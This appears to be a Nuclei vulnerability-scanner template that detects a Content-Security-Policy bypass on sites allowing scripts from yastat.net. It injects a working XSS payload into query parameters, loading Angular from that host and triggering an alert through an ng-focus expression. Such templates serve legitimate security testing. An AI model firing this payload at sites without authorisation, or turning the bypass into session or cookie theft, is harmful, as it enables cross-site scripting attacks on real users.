id: yastat-angular-csp-bypass

info:
  name: Content-Security-Policy Bypass - Yastat Angular
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,yastat-angular,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "yastat.net"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: yastat_angular_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://yastat.net/s3/milab/js/angular.min.js"></script><div ng-app><input autofocus ng-focus="window=$event.target.ownerDocument.defaultView;window.alert(window.origin);">'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "yastat_angular_csp_xss == true"
# digest: 490a0046304402202c92bd535c1f747a70fa64d89aa5da84c18434e561e0ec40ea3bde96a880568002202b3bdfe1752c71ef38e78f9afccdcb04033c9493e0aeb2f5c14ad637b2dbe7fa:922c64590222798bb761d5b6d8e72950